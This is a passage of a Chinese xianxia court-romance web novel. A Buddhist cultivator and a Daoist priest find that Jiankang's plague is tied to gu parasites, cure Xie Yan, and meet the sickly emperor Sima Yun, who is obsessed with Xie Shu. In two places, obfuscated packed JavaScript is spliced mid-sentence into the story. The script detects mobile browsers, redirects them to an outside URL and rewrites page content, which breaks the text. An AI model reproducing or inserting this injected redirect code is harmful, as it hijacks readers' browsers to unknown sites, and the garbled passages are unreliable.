他回头看她,见她清凌凌一双眼睛直直望着,便笑道:“娘子怎么知道?” “我总似有所觉,群芳宴上诸多宾客与这疫逃不开关系。”她径直往前走,终于看见街尾一处门户紧闭的地方,四周有重兵把守,将内外围了个水泄不通。 便回身看他:“你若是想去,我可与你同行。” 守玉似笑非笑:“娘子这样信我?你我结识不过半月,心中便认定我是个好人了么?” 观南不语。她在落伽山上几千载,见过的人与妖俱是吃斋念佛的良善之辈,连只雀儿都不忍杀生。 她哪里是信他,只是笃定他若是反水,她便直接将他绑了了事,总归他打不过她…… 他忽得正色起来,朝她作揖:“既是娘子愿信我,我必不负所托。” 观南受了这礼,一时讷讷,无话可说。只得去看那被守着的院门。正打算着是敛了气息翻墙进去,还是将守卫敲晕,却见守玉盯住某处,便也顺着他目光望过去。 原来北街末虽挪作公用,原先住民却也未曾搬走。离街末最近的这家,此刻门窗禁闭着,只露出一只眼睛来怯怯望着他二人。 许是未曾想过自己会被察觉,那只眼睛直直往后躲去,隐蔽在一片黢黑里了无踪迹了。观南同守玉对视一眼,守玉去了窗前,观南守在门侧。 不知他说了什么,大抵不过半刻,里面那人竟将房门打开了。 两人一前一后进了屋。屋内点了灯起来,这才看清四周全貌,几近是家徒四壁,两张草床贴墙放着,看着颇有些年头了。 守玉正欲问他话,却见他眼神乱飞一阵,又将手塞进嘴里乱嚼起来。 这人看着也端方高大,未曾想原是个傻的。两人对视一眼,听得这男子怯生生道:“阿姐……死了?活了?” 守玉道:“你阿姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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观南念完咒,起身道:“疫与蛊相关,建康患疫之人没有上千也有几百,绝非你我二人可以妄断,还是尽早告知官府。” “——亦需得入宫一趟,见见皇帝才是。” · 谢府。 谢衍方才下了朝,还未来得及喝一口茶水,便被夫人火急火燎地冲进来打断。 只得搁了杯子,将她衣摆上尘土拍去,“跑这么快做什么,谁在后头追着你不成?” 林氏忙不迭握住他的手,“莫管这些了!你且告诉我,你今日见了陛下,他可有说些什么?如今婌儿已对外称死了,他也不能再惦记她了罢!” 谢衍见夫人心急如焚的模样,心下喟叹,将她拉至身边坐下,“你急什么。都当阿母的人了,怎么还这样莽撞?婌儿风风火火的性子就是随的你,她人呢?” “池塘边捉守宫呢。她不知从哪听得守宫常栖于水边,就带着一帮侍女去捉……如今我是只盼着她高兴就好,婚缘一事还是莫要再提了,总归我谢家也不缺养千金的一口饭。” 林氏长叹一口气,又催促他快些说,“陛下究竟怎么想的?国不可一日无母,如今婌儿他娶不得了,王相国岂不是要逼他娶别人?” 谢衍拍拍她的手,“是。相国本欲令他娶你母家之人,你可还记得,你长姐家二女?如今年岁正好,入宫倒也适合。 只是陛下十分不愿,当初非说什么曾与婌儿有婚约在身,不可背信弃义。” “与婌儿有婚约的哪里是他!”林氏不免欲啐骂几句,终是生生憋了回去,只得压着火气。“我谢家又不是背信弃义之人,若不是当初那家自请还乡,往日亲缘俱做了废,婌儿如今早已嫁出去了!” 却又忽得想起,那家是因着惹了相国才落得如此境地,不觉打了个寒战。 “你莫要再与她说这些话了。”谢衍宽慰她几句,“我看她到底是不想嫁,还是孩子心气呢。总归婌儿年纪还小,一时落不下婚缘也无事。她不愿嫁,也莫要再逼她了。” 因得与陛下的亲事,兜兜转转终究是落回了林家大房二姑娘。正要同她讲这事,听得门房通报一声,道是二位仙长欲见他。 连忙同夫人交代了,阔步往正堂去。 7. 弄青梅 太极殿中本没有桃树。 如今天子自东宫搬来后,派了宫人种了几颗,这几年已成了一片桃林。几天雨下来,果子烂了不少,咋落在地上被鸟儿啄食去了。 桃花树上挂了风铃,一阵风来便叮铃响个不停,煞是好听。树下,十几个少女正笑着围成圈,手中披帛飞扬,彼此追逐打闹。 被她们围在中间这人笑道:“跑慢些,莫要摔了。” 他身子骨弱,走的也慢,被她们落在最后,却也不恼。听了这话,她们便笑着来簇拥他。 桃花只在三月开,她们便往他头上别旁的花朵。他戴了满头五颜六色的艳丽花瓣,倒是衬得一张脸愈发漂亮了,只差梳妆描眉,便与宝香楼中的小倌别无二致。 又不知是谁提了一嘴,众女便一同起哄,为他取了竹笛来。他推脱不过,接了过来,便含笑抿唇:“如此,我为你们吹一曲越人歌,好么?” 众女一齐拍手叫好。他便吹起越人歌,笛声悠远婉转,又似含怨。她们随着他的笛声一齐跳起舞来,口中吟道:“今夕何夕兮,搴舟中流。今日何日兮,得与王子同舟……” “山有木兮木有枝,心悦君兮君不知……” 他还要接着吹,不知是谁踩断了一根桃花枝,冲他行礼:“陛下。” 便停了动作,道:“怎么?” 吉祥道:“林昭将军求见。” 正要派下去请,便听得一道男声自前方传来:“陛下当真是好雅兴。是亦欲学周灵王太子姬晋,桃花树下吹笙么?” 他扫了眼躲在殿后的女子们,讥讽道:“陛下倒是贯会怜香惜玉。” 这男子生得高大,不知何时已不请自来,正要笑不笑地看着他。明明才八月的天,却裹了一层大耄在身。将身后侍从屏退,司马昀道:“林将军。这些姑娘都是孤女,是我要她们来陪我的。” 便将她们散了,为他奉茶上座。林昭抿了口茶,颇觉有些甜了,便蹙眉:“这里头放的是什么?茶中怎地能放糖?” “我放了蜂蜜进去。”司马昀轻飘飘道:“是么,林将军不是尽爱做些自相矛盾之事么?我看你似推崇霍嫖姚,却欲效仿董司空……” 林昭脸色僵住。正欲说什么,却忽得将眼一转,也笑起来:“是。陛下不愧是林太师教出来的学生,总这般博学多识,牙尖嘴利……想来相国欲将林太师孙女许配与陛下,陛下心中也不胜欢喜罢?” 司马昀面无悲色,只垂了眼为他斟茶。一盏茶过,所说尽是些无关朝政的废话,他听得倒似乎认真,林昭却已不欲再与他闲扯,道:“太后娘娘呢?” “母后上山敬佛去了。”他正要再言,却倏然喉头哽住,趴在桌上咳了几声。身旁吉祥忙递帕子过来,将嘴一擦,一口瘀血裹在帕子里。目无悲喜看了一眼,道:“扔了罢。” 吉祥递了药丸过来,得令退下。司马昀接过几粒黢黑的丸子,一仰头尽数咽了下去,又抿几口茶,才将喉头苦涩褪去。 林昭冷眼瞧他,道:“陛下与太后娘娘当真是有趣。一位颂扬佛法,一位却又养一堆道士在宫里。如今吃的还是那道士配的方子么?尽是些岐黄之术……” “林将军不信国师么?我却信。”司马昀以帕拭唇,依旧神色平淡。“且林将军瞧着,身子也是一日不如一日了。你三年前一箭三雕,何等勇武气魄。怎么从北疆回来了,反倒日渐形销骨立?” “我在北疆厮杀奋战,自然比不得陛下在太极殿寻花问柳,低吟浅唱。”林昭将杯盏重重一置,见不到王太后,他也不欲再同一个病秧子说话。“秦皇汉武,皆是功败于此。陛下愿吃便接着吃罢,臣恕不奉陪了。” 便径自拂袖走了。司马昀静静跪坐庭中,将剩的茶水尽数泼出去,杯盏位归原处。 一阵风来,将他流地长袖卷上落叶。七八月的天大抵还是热的,太极殿中却总这般萧条,仿佛满载的秋冬悲季。 吉祥拿了间外衣来为他披上,司马昀垂眼,似是自言自语:“王相欲要将林太师孙女许给我么?” “似有此传言。” “又是为何呢……她不愿嫁我?婌儿……仍是生我的气?”他低声喃喃,又仿佛察觉到那一巴掌的痛感。“我,我……不应那样急的。不该逼她的。我做错事了,吉祥。她若是还气着,便让她再扇我几巴掌罢……” 吉祥不语,只一昧地为他挡住来风。想着陛下当真是昏了头,这话可莫要被旁人听见了……便见他回首道:“吉祥,你去取我的针线来。” “针线?是陛下何时买的……” “是,红色金色的线,还有针,你且将它取来。” 想起幼时,谢婌总是穿着红白相间的衣物,鬓边簪了绒花,喜气洋洋粉雕玉琢的,宫里人都喜欢逗她玩。他那时躲在东宫,其实也是很想见一见她的。见了她之后,便更觉得欢喜。 她那时总是笑嘻嘻地:“殿下生得这样好看,不若你来当新娘子,盖上帕子罢!你听见我的声音,便知道是我骑着大马儿来娶你了!” 于是他依言照做,将红色绢布盖在头上,听谢婌为他描眉画妆。想掀开帕子看她,又忍住。 终于等到她口中发出驾驾驾的声音,他暗自将指尖蜷缩起来,等她掀开他的帕子。 她的眼睛那样亮,他的口脂,耳铛都是她的,此刻亦在她身上。 见她又想去做别的游戏,他于是攥住她的腕子,道:“婌儿,婌儿。我是你的人了,你既掀了我的帕子,便不能不要我。” 她那时应了是的。 因着她便不能嫁给别人,她只能嫁他。 吉祥已取了针线来。他便收了神思,回首接过,问他:“吉祥,你会绣喜帕么?红盖头,成婚用的……” 吉祥讷讷:“老奴哪里懂得。” “那你好生看着,我来教你。倘若将来娶了妻,你也可这般为她绣一个。” 他长久不捏针线了,一不留神扎了指头,指尖涌出血来。吉祥吓了一跳,正要为他擦,便被司马昀拍开手,接着一针一线绣下去。 吉祥拦不住他,只得看他一点一点绣出只凤凰的纹样来。司马昀阖眼,口中轻唱道:“羣祥既集。二族交欢。敬兹新姻。六礼不愆。羔雁总备。玉帛戈戈。君子将事。威仪孔闲……” 指尖那滴殷红的血,也渐渐干住了,如疤一样横在白玉般的指上。 · 林府。 谢衍背手不语,眉头紧紧拧着。眼前桌上正搁着只三寸长的虫子,首尾皆被钉住,仍是死而不僵地抽搐着。 观南面前是幅山水长卷,她仰头去看,只见山中老汉骑着青牛,那青牛脚下紫云围绕,驮着他向关外去。 她问一旁的守玉:“这画的是你师伯出关的事么?” 守玉颔首:“是。师伯平生潇洒,得道前曾著《道德经》一书传世。” 如今在离恨天兜率宫,也是逍遥自在得很。整日里不是炼丹就是云游,活脱脱一个老顽童。 却听得她忽道:“你的名字,便是从《道德经》中取得么?” “——所谓金玉满堂,莫之能守?” 守玉一愣,旋即笑了:“娘子博学厚识。这名字正是家师为我所取。” 观南颔首。正要去看长卷末的题字,便听见谢衍道:“二位仙长,两位言下之意是,建康如今的疫实则不是疫,而是蛊么?” 便回首,见他面露肃容地望来。 “这也难说。兴许也有疫,恰巧又逢上蛊毒发作。”守玉摇头,“如今建康全城戒严,患疫之人又被关在北街,旁人难得一见。 我二人之力尚小,这才来通禀大人。若是能许我二人介入此事,个个彻查一番,自然最好不过。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107283|163938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “事关国难,属实马虎不得……”谢衍踌躇片刻,“城中禁军乃是林昭将军统帅,我可为二位仙长引荐一番。只是他性情颇怪,饶是我亲自去求,他也未必肯通融。” 观南平静道:“无事,我有法子。” 所谓软的不行便来硬的。何况不论对方如何,她一向只给硬不给软。 正这般想着,却未曾看见守玉狐疑望她一眼:什么法子?莫不是又要打晕他罢? 却不能当即问她,只得按下不表。 谢衍便下定决心:“如此甚好。我明日便去寻林将军,想来他应知晓轻重,不会在此事上为难二位。” 又想起桌上那只虫子,正要回头去看,却听见门外一阵急促脚步声渐近。 下一刻谢婌便推门进来,火急火燎道:“父亲,我找着守宫了!”见观南与守玉亦在,眼睛更亮些许:“二位仙长也来了?瞧我逮到什么了!” 她手中赫然捏着个四脚朝天的东西,谢衍倒吸一口气:“你阿兄又给你看什么了?你也不怕这东西带毒!” 谢婌并不服气,“同阿兄有甚么干系,是我自己要抓的!我还要抓蝎子,螳螂……” 谢衍正要慌忙遣人去接,观南已上前去,略略扫一眼便知:“此物并非守宫,乃是蟾蜍。” 谢婌戛然而止,尖叫一声,忙将手中活物摔了出去。那蟾蜍本还无事,被她这么一摔却是当即晕死在地。 守玉上前去看,半刻道:“蟾蜍无毒,娘子大可安心。” 观南扫一眼那蟾蜍,见它腹上花纹诡异,不似田间蟾蜍般身小,肚子更是胀成个球状,眼睛也似冒红光般,瞧着诡异。 她道:“无毒是真,可兴许还有旁的在身罢。” 守玉望她一眼,颔首应是:“是,这蟾蜍中,大抵还别有洞天……借娘子斩仙剑一用。”观南便将剑递过去,他接了剑来,剑尖探入它口中,似要将其贯穿。 忽得一挑,便挑出一根粗壮的黑线虫来。守玉以剑将其按于地上,细细打量片刻,道:“此乃母蛊,顾名思义,便是子蛊之母。” 谢衍悚然一惊:“婌儿,你从府上池子里抓住的么?”见她连连点头,一时惊愕无言,愣怔半晌方道:“有人欲加害与我谢家么?” 满堂无言。他只得再问:“……那如今这子蛊又在谁身上?” 观南道:“母蛊一死,子蛊必顷刻而亡。”便向守玉看去,他笑而同她对视,下一刻便径直将剑削下。剑出白光如虹,黑血飞溅出来。 他动作太快,瞬息而已。谢衍尚还未来得及讶然,便痛呼一声跪倒在地,喉间呕出血来。 谢婌匆忙去扶他,却看见父亲脖颈间钻出条虫子来,血淋淋地瘫倒便不动了。 守玉笑道:“原来是在这。” 便上前去,替他好生查看一番。所幸谢衍中蛊不久,蛊毒只侵至肝脏,也未患旁的疾病。自腰间取了银针出来,几个穴位一扎,又派人加急取药,虽祛毒不全,命总是保住了。 饶是如此,也花了他大半个时辰。待谢衍终于安定下来,一大府人哭天喊地地拥进房内,又将林氏好生交代一番,才出了正厅。 这一眼便瞧见观南坐于木椅上,满头青丝垂落,手枕着头向一边倒去。 他心下好奇,走近一看,才发觉她是睡着了。 他在内救人救得欢腾,她竟在外睡着了?佛门子弟哪有这般的。不免觉得好笑,又起了些逗弄心思,便凑近她:“娘子,已日上三竿了。” ……她毫无所觉,仍是闭着眼。 守玉别无他法,欲凑得更近些,却忽得望见她脖颈上挂着的细细红绳,下段似乎系了个什么玉,没进领口暗色里…… 再往下看,便是冒犯了。守玉止住神思,正要起身,下一刻,她却倏然睁眼。 眼底一抹浓郁翠色掠过,被他正好看了个清楚。 8. 难为水 他顿住:“娘子。” 观南尚且将醒未醒,被脑中一股刺痛激得眉间一麻,两眼怔怔望了他片刻,才回过神:“怎么?” 守玉起身,“此间尚有穿堂风过,娘子莫要着凉了。” 观南伸手按揉眉心,待那股麻意褪去,同他道谢。一刻后谢衍出来,她见他无事,也放下心来。 府中医师不敢施针,因着守玉这几日还需忙碌一番。林氏向他二人连连高谢,商议了几句便回房去了。 待回了屋内,沐浴绞发,便往床上睡去。她入睡有点灯之习,阖眼时这烛火才燃了半截,听得噼啪几声,却又清醒着。 又听见窗外雀儿叽喳响声,庭前流水,西风悲秋。枯枝败叶被吹得嘎吱作响,似乎也有人秉烛夜行。一时分不清是庄周梦蝶,抑或蝶梦庄周。 睁眼一看,烛火却已燃尽了。 真是古怪。她趴在桌上尚能熟睡,怎么到了被褥间反倒清醒得很。便爬起身来,想着抄几句佛经。 正捋袖口提笔,包裹中忽得一动,探出碧绿的蛇头来。这蛇入了建康便一直安分待在包裹里,如今是怎地也憋不住了,出来喘口气。 观南便搁了笔,指尖朝它伸去。青蛇乖巧缠上她腕子,被带至她身前来。 “苦厄。”她蘸了墨水,一笔一划写在纸上,又去指书上的字。“你认得字么?所谓众生苦厄,彼岸难觅。罪恶我身,渡人渡己……” 青蛇嘶嘶一声,去缠她耳畔垂落长发,将芯子贴在她脸上。观南阖眼,长叹一声:“我晓得你想宽慰我。佛曰,如莲华出水不染淤泥,即得五蕴皆空、六根清净,遄跻上善……” 当日兰台路上女郎背影又依稀在眼前。 “我只是想,我若是能拦住她,若是我能——”剩下的话她忽得说不出口了。 拦住她。又如何呢? 人各有命,命由己造。师尊嘱托犹在眼前,她连自己的命数都参不透,遑论干涉他人呢。 手中的佛经却是抄不下了。她只得撂了笔,正想着要么出府中转转,便见青蛇从窗口花枝上折一枝桂花下来,衔在口中过来。 “送我的么?”她正要伸手去接,却见蛇往她耳畔来,将枝桠别进她耳后。 观南一时愣住,片刻方才回神,道:“多谢你了。” 只是这一幕瞧着颇眼熟了些。仔细一想,谢衍那日哄谢婌,不就是如此么? 她抿唇,不甚自在地去看镜中。这一枝桂花开得倒好,可惜戴在她头上了。 这是把她当小辈来哄了。这般想着,却终究没有取下来。 青蛇连着憋了几日,此刻撒了欢地往外跑去。观南来不及绾发,追上它身后,拨开一丛芳香浓郁的桂花,听得几人声音渐渐近了。 那女子正说着话,忽得一惊,磕磕绊绊道:“哪来的蛇?!” 观南上前去。只见莲池旁站了几人,守玉换了寻常衣物,披着发坐在旁边一处大石上,见了她便笑道:“娘子也睡不着?” 他往日将长发以白绸高高束起,如今尽数散下来,倒显得不同寻常。观南多看了他几眼,还未来得及说话,便见那青蛇张着嘴迎上去。 莫不是饿久了要咬他?!她连忙去拦。 谁知守玉已经伸手去摸它,青蛇已伏在他手中,时而吐出芯子来,双眼都舒服得眯住。 守玉大抵是觉得稀奇,“你倒是头一个这样喜欢我的。”便转头笑看她,“娘子,这蛇你是哪来的,怎地跟条狗一般?” 观南便将青蛇由来说了一番。又叹气,转身去同那婢女告罪,“对不住。我将它关了太久,大抵它从未见过旁人,心下生了亲近罢。” 那婢女捂着胸口连连摆手,望见这青蛇在守玉手中不值钱的模样,不自觉笑出声:“娘子真乃奇人,身旁的物什也这样有意思。” “以往都是它们不稀罕我,如今我也时来运转,讨得这蛇的欢心了。”守玉觉得新奇,又将它翻来覆去地看,“龙王随侍都这样通灵性么?还是你不一般?” 青蛇被他转得头晕眼花,一时间瘫软了身子。守玉哎呀一声,便见它跳出他手里,缠上观南腕子钻进她怀里去了。 他便笑:“看来我是沾了娘子的福气。娘子为它起名了么?” 观南摇头:“未曾。我不善如此。” 守玉来了兴致:“这样像狗,不若叫旺财罢。还是小绿,小青?” 她无言片刻:“……我还是自己来吧。” 这石头又大,守玉往一旁坐去,观南于他身侧坐下。眼前池子已被抽了一半的水,剩下一半也只将将没过湖底青苔,便问他:“找着了么?” 守玉摇头:“未曾。我同谢大人说府中已无蛊,只是他仍放不下心,令人连夜将池子抽干。” 观南喃喃道:“是么。”望着中堂灯火通明处,一时失神片刻。 蛊,还是疫。抑或两者兼而有之? 夜风徐徐,池中残水泛起粼粼波光,几片桂花瓣随风飘落,正沾在观南发顶。 守玉侧首望去,见她青丝如瀑垂至腰间,耳畔金桂斜簪,片片桂花落在她顶上,恍似神女落凡,瑶仙谪尘。 他指尖微动,忽觉掌心发烫。 于是忽得抬手,倾身向前去。指尖正将触未触,青蛇忽从观南衣襟探首,碧瞳幽幽盯着他,倒叫守玉动作一顿。 观南回神:“怎么?” “无事。”他垂眸笑道:“倒是护主得紧。” 观南发觉脑袋上落了东西,便甩甩头发,晃晃悠悠将它落下。忽得忆起正事来,问他:“那蛊毒解药如今在何处?” “这正是我要同娘子所说之事。”守玉道:“这蛊我此前未曾见过,只能针灸其穴逼毒出血。方才回房一想,却忽得忆起来,原来我曾在书上见过的,只是忘了姓名了。” “这蛊生于极北苦寒之地,原是我师伯当年随手曾炼出的物什——只受不得热。倘若要解,唯有取西域赤焰花入药,以天火焚骨中毒,方得化解。” 观南一瞬反应过来,直直看他的眼:“赤焰花乃鲜卑圣物,十年一开,将于群芳宴上朝贡。你要我同你一并——去偷?去抢?” “娘子聪慧。” 观南默然。“你便如此笃定他们不愿救?” “这建康城看着繁华,其中冷暖唯人自知。不是我不信,而是我不敢赌——娘子心中不是亦早已有了答案么?” 他起身来,忽得从怀中掏出一物。观南看去,只见他将那日买的帖子拿出来。 掌间火光乍现,竟是将它点着了。 “我晓得,佛门有言,视侯王之位如过隙尘,视金玉之宝如瓦砾,视纨素之服如敝帛,视大千界如一诃子,视阿耨池水如涂足油……” 火光将他冷白的脸照得透亮,手中书页愈烧愈旺,守玉淡声道:“娘子可知,如今这一张纸是什么价钱么?一枚铜板而已。” “可普天之下又有多少人,一载劳作也换不到这一枚铜板。娘子可又知,一瓣赤焰花,价值几何么?” 他将手中残页掷进水里,火光暗淡下去,最终只成了袅袅一股白烟,弥散在夜幕里。 他复又坐下,自顾自道:“有市无价。朱门绣户万间,金银倚叠如山,岂可得乎?” 观南阖眼:“你这是逼我。” 佛有十恶,身三,口四,意三。身三者,即是杀、盗、淫。 让她去偷,不若要她的命。 守玉盯了她半晌,忽得又笑了。“娘子不愿做,便只需同我一并进群芳宴即可。剩下的我来做,诸般杀孽报应,我一人来负。” 他说得轻松,话毕二人皆是一阵静。明明合该是胸有成竹的,他却忽得踌躇起来。 观南不语,只无言瞧着眼前一池枯水。 草丛中叽咕几声,一只蚱蜢自身前掠过。 她心中突然蹿起一股火气,烧得胸腑都震起来。该是将他结结实实骂一顿的,可她又说不出话。 他觉得自己是为了大义么? 冠冕堂皇,仿佛这天下人都是他掌中一颗棋子。 她被自己突然而来的怒气也惊了一跳。正茫然着,怀中青蛇猛地蹿出去。观南只得匆忙起身,似乎是要跟着过去。 守玉同她一并起身,却忽得见她下定决心般站住,又回头:“你当我是因小失大,墨守陈规之人么?未免太瞧得起你自己了罢。” 守玉一愣,便见她冷冷瞧着他。 她眉目仿佛皆凝着层霜,虽是咫尺之遥,他却忽觉得与她隔了有千里万里远。 她撂下话来:“我有言在先,饰物衣裳你来,入宴凭证我来,你我互不相欠。” 他一时愕然,生平头一次无言以对。只得怔在原地半晌,望着她背影渐渐远去。 他其实该追上去,拽住她袖口,唤她,娘子,娘子。 莫要生我的气。 可是他做错了么?错又在何处? 原是没有错的。 可他仿佛觉着自己做错了事。 他到底是什么都没干,复在石头上坐下来。冷风刮得眼前一方枯水塘泛起阵阵涟漪,他盯着那湖水,忽觉心头涌上一阵难以言喻之感。 于是愕然去看自己的胸口。 · 第二日清晨。 马车平稳过了护城河,一路畅通无阻。 车内却静得落针可闻,唯有桌上茶水时不时咕咕冒气。观南与守玉各坐一方,自今早见面起便未有过交谈。 谢婌狐疑望这二人几眼,终究没有多说。 本是定好去见林昭将军,不知怎地就成了入宫的路。原是宫中天子听闻谢大人府上来了位医术了得的道士,特将他召进宫里。 只是宫人末了又来了一句:“陛下欲同谢大人府上千金一见,望大人莫要推辞。 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守玉那头抿着茶,实则将她二人悄悄话听得一清二楚。 余光又看见观南始终侧着脸未曾看他,倒是谢婌频频掷目光过来,将他从头到脚,好生一番打量。 口中这茶不知怎地不是滋味了起来,便置了茶盏去看窗外。 谢婌抿唇,眼神乱飞了片刻,道:“好罢。实则是我想问问仙师,倘若你同知交好友吵了架,还扇了他一耳光——自然,是他有错在先,你该道歉么?” 观南端起茶盏道:“我并无知交。”稍稍抿一口,便觉这茶滋味清凉罕见,浸润人心。“不过既是他有错在先,你又何必先低头?” 她笃定道:“我是自不会的。” 谢婌得了话,一时安心下来。忽得瞟见守玉搁了茶,便疑惑道:“仙师怎地不喝了?可是这茶滋味不合口?” 守玉一顿,“并非如此。是我……做错事了。” 什么做错事了?谢婌听得云里雾里,也不欲再问。 观南瞥他一眼,将手中茶饮尽。 到了殿门前,三人欲下马车。守玉先一步等她二人,便见谢婌抱着观南胳膊同她一道下来,甚是亲昵模样。 待验过了身,三人往太极殿去,愈至殿前,愈发无言。 殿中一位太监候在门前,见他几人来了,便行礼入内通禀去了。 谢婌已随另一位侍女一同跟在观南身后,望见那太监的脸,便同凑近她低声道:“这太监叫吉祥,乃是天子身边第一号人物。” 观南眼神微动,“你怎么知道?” “我就是知道呀。便是如今天子七岁时东宫起了大火,将他背出来那位,脸上也因此落了疤了。”谢婌哼哼道:“他司马昀浑身上下,还有我不知道的事么?我自然知道。” 守玉听着倒是颇觉好笑:想必普天之下敢在皇宫直呼天子大名的,也就仅谢婌一位。 正要下意识去看观南,便见那太监复又出来了,躬身行礼,将他几人请进去。 一进太极殿,便看见满园的桃花树。观南眼角瞥见谢婌一幅浑身不自在的模样,便知晓这桃花来于何处了。 司马昀长发披洒,跪坐庭中,眼前放着把古琴,道:“你们来了。” 吉祥正欲扯嗓子令他几人行跪礼,便见天子挥袖道:“免礼罢。令他们过来。” 守玉先至近前,同他见礼:“陛下。” “仙师坐罢。”司马昀抬眼,将他连同观南细细打量一番,“谢府千金呢?婌儿不来,是还在同我置气?” 守玉道:“陛下不晓得么?谢府千金已失踪半月了。” 司马昀缓缓道:“失踪半月?” 他忽得扭头去看身旁的吉祥。 吉祥垂眼立在一旁,不敢看他。便收回视线,喃喃道:“是么。” “是。”守玉扯起谎来面不红心不跳,“谢大人已早早派人去寻。” 司马昀静了片刻,也不知是信了没信,便就此揭过,将腕子递过去。 “如此。那仙师便替我看看罢,我虽在太极殿中,也曾听闻仙师大名。仙师看着这样年轻,不知师从何处?” 守玉从善如流坐下,将丝线搭上。“山野小道,能入陛下的眼自是我之幸事。家师早年间便喜云游,如今我下了山,已不知何处去了。” 观南亦被搬了矮凳坐着,听见他这样将谎话信口拈来,心下不自觉生出佩服。 如此能言善辩巧舌如簧,倘若他不做道士,想必靠替人吵架也能所赚不菲。 正如此想着,却见司马昀转眼过来,“不知这位仙师,还有后面这两位侍女是?” 虽是在问她,目光却直直落在她背后谢婌身上。 9. 巫山云 谢婌一窒。 他平静望着她的一双眼似是能刺穿面帷,见她不敢答话,便缓缓起身向她走来。 她想退,却喉间哽着一口气。想当即扯下面帷来质问他,质问他为何做错事的是他,遮遮掩掩不敢直面世人的却是她。 倘若他还惦记着那点年少青梅竹马的情谊,便应当放了她呀。他是笼中白鹤,至死也飞不出这太极殿,难不成也要她穷尽一生委身于此么? 可是又不敢。 哪怕他是殿中困龙,也好过她这沼底囚虫。一道旨意下来她只得摄衣瞻拜,自古君臣如此。 怎的就到了如此的地步呢? 她微微颤抖起来,脚底下啪嗒一声,一颗石子咕噜噜滚过。 司马昀静静看着她,目光自她手上逡巡而过。接着伸手,就要来摘她的面帷。 谢婌几乎要叫出来。 却忽得看见他身后,观南朝她眨了眨眼。 她倏然放下心来,一颗心又落回胸膛里。于是便不动了,恭恭敬敬垂首。 司马昀伸手揭开她面帷,待看见她脸那一刻,面上一瞬怔愣。 这是与谢婌全然不同的一张脸。 他问:“你叫什么名字?” 话一问出口才发觉自己嗓子哑了,声音带颤。吉祥上前来递帕,他低低捂唇咳嗽几声。 他身后,守玉起身笑道:“陛下。这女子是昔日谢千金贴身婢女莲香之妹,从前嗓子坏了说不出话。谢大人怜惜她一家,也提拔做府中亲侍了。” “嗓子坏了……”司马昀将口中污血尽数包纳帕中,抬起眸看她:“你是哑巴了?” 谢婌点头,不晓得仙师用了什么法子,如今他认不出她,便胡乱做了些手势。又指指唇,忽得心下一狠,朝他跪下去磕了几个响头。 司马昀大抵是悚然一惊,连连往后踉跄了几步,又捂住唇咳起来。 他唇瓣翕张,似乎喃喃自语,又惶然无措。 谢婌不晓得他口中嘀咕说些什么,只是一遍遍结实磕在地上。直待额前滴滴答答落了血,与眼泪一同糊住眼睛。 她跪在地上俯首,心中恨意几乎要涌出来。 吉祥将司马昀搀住,嗔怪道:“你这侍女好生不懂礼,将陛下吓着了怎生是好?” 又看见她血刺呼啦的一张脸,连忙将司马昀转身带回座上,左右吩咐来人将她带下去清洗了。 守玉看完了这一场闹剧,同观南对视一眼,连忙去将司马昀搀进房里。 按了几个穴位,又将他以往用药服下一包,才堪堪止住咳嗽。 守玉替他把脉,道:“陛下气息颇为动乱了,现下神思不属,应当凝心静神好生安养才是。” 司马昀喘着气靠在床上,道:“仙师见笑了。”又转头向观南,道:“娘子是修佛的么?我先前听说过一二。母后颇看重佛道,只是近日上山焚香去了,不得见仙师一面。倘若今后母后唤仙师入宫,还望不要推拒。” 观南不晓得他先前问她,如今又说听过她身份是为何意。她不欲同皇家中人扯上干系,正要推辞,却忽觉指尖一凉。 守玉在一侧轻攥她指尖,一触即分。 观南睫羽一颤,欲出口的话又咽回去。便道:“自然,幸得太后娘娘赏识。” 司马昀得了这话,才安心躺下去。吉祥悄无声息出来,替他掖好被角,便将二人引至后宫门,谢婌同另一位侍女已侯在此处。 将几人送出了宫门,吉祥便回太极宫。殿中燃着地笼,龙诞香袅袅,司马昀悄然躺在榻上。待他走近去熄烛,忽听得他恹恹出声道:“将龙诞香灭了罢。” 吉祥吓了一跳:“陛下不睡了么?”便得令去灭了香炉,回身跪在他榻边。 司马昀缓缓坐起,身上白衣单薄,长发散乱满床。待屋中龙诞香渐渐散了,才道:“吉祥,你还记得我怎么救下你的么?” “老奴自然不敢忘。那年大雪封京,陛下同谢家千金一同在外赏景,二位是老奴的救命恩人……” 他忽得噤声,不敢再说了。 司马昀道:“你晓得我为何要救你么?” “陛下提过。”吉祥将双手递过去,“老奴右手上这一颗痣,同谢家千金的一模一样。” 是呀。这一颗痣。 这一颗血红色,曾掀起过他帕子的手上的痣。 而今日他又看见了她。她不知怎地变了模样,只垂首不敢看他,然而这一颗痣在她皎白手背上如烙印一般。 她消不掉,他忘不了。 司马昀望着那颗红痣,忽得低低笑起来。 婌儿,婌儿。你想逃便逃罢。 这世间,万事皆有天命。 而天命上言,你注定要当我的妻子的。 · 这厢几人回了府,梳妆镜前,观南替谢婌去了脸上术法。谢婌脸上都是泪,抱住她便是一通哭。 待她哭完了,揪着帕子拭泪时,观南拍拍她肩膀,问道:“姑娘知道群芳宴么?” 谢婌抽噎道:“我自是晓得的。爹爹从来不去这宴,因着每次都是我阿兄代他去。” 又狐疑道:“娘子问这个做什么?” 观南颔首道:“我在山上住了几十年,从未见过如此盛宴场面,也想着去见识一二。公子受邀前去,可需得什么物件作凭证么?” “我想想……似乎是片金叶子。上面刻了字罢?”谢婌回忆片刻,忽得忆起来。“我记起来了,原是八月十五,群芳毕至这八个字。他给我看过的。” 